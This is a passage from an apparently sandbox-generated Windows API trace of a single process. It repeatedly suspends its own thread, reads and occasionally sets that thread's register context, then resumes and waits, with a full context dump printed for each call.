[22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0121.371] ResumeThread (hThread=0x130) returned 0x1
[0121.371] CloseHandle (hObject=0x130) returned 1
[0121.371] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.447] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0121.447] SuspendThread (hThread=0x130) returned 0x0
[0121.447] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff9f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12bb600, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0121.517] ResumeThread (hThread=0x130) returned 0x1
[0121.517] CloseHandle (hObject=0x130) returned 1
[0121.517] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.600] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0121.600] SuspendThread (hThread=0x130) returned 0x0
[0121.600] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff9f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a95c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0121.649] ResumeThread (hThread=0x130) returned 0x1
[0121.649] CloseHandle (hObject=0x130) returned 1
[0121.651] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.680] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.709] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.758] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0121.766] SuspendThread (hThread=0x130) returned 0x0
[0121.767] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147328, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1307460, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0121.802] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147320, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0121.816] ResumeThread (hThread=0x130) returned 0x1
[0121.816] CloseHandle (hObject=0x130) returned 1
[0121.816] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.835] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.879] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0121.937] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0121.937] SuspendThread (hThread=0x130) returned 0x0
